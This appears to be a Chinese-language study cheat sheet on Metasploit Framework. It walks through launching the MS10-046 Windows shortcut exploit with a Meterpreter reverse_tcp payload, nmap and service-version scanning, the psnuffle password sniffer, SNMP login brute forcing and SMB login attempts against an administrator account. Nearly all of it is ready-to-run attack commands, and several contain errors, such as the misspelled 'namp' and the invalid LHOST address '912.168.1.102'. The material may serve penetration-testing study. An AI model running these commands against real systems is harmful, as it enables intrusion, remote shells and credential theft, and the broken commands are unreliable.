Metasploit Framework 总结

• Metesploit Framework 基础知识
  调用 exploit漏洞用use
  使用payload用set
  参数也是用set
• 启动:
  
  1. 命令行输入:msfconsole
  2. 命令行输入:msfcli +参数
  3. 图形化界面输入:armitage
• 实例讲解1 ms10_046快捷方式图标漏洞
  msfconsole
use exploit/windows/browser/ms10_046_shortcut_icon_dllloader
show options //查看需要配置哪些参数
set SRVHOST 192.168.1.102 //配置参数
show options//查看设置的值
set PAYLOAD windows/meterpreter/reverse_tcp //指定payload
show option //查看配置参数
set LHOST 912.168.1.102
show option //查看配置参数
exploit
• 调用nmap端口扫描
  msfconsole
namp -v -sV 192.168.0.191
• 扫描获取系统信息
  msfconsole启动软件
  use auxiliary/scanner/smb/smb_version调用模块
  show optioins查看配置参数
  set RHOST 192.168.0.191设置参数
  set THREADS 10
run启动
• 服务识别
  msfconsole启动软件
  use auxiliary/scanner/ssh/ssh_version调用模块
  show optioins查看配置参数
  set RHOST 192.168.0.191设置参数
  run启动
  msfconsole启动软件
  use auxiliary/scanner/ftp/ftp_version调用模块
  show optioins查看配置参数
  set RHOST 192.168.0.191设置参数
  run启动
• 密码嗅探
  use auxiliary/sniffer/psnuffle调用模块
• 扫描与枚举
  msfconsole启动软件
  use auxiliary/scanner/snmp/snmp_login调用模块
  show optioins查看配置参数
  set RHOST 192.168.0.191设置参数
  set THREADS 10
run启动
• SMB登录验证
  msfconsole启动软件
  use auxiliary/scanner/smb/smb_login调用模块
  show optioins查看配置参数
  set RHOST 192.168.0.191设置参数
  set SMBUSER administrator设置用户名
  set THREADS 10
run启动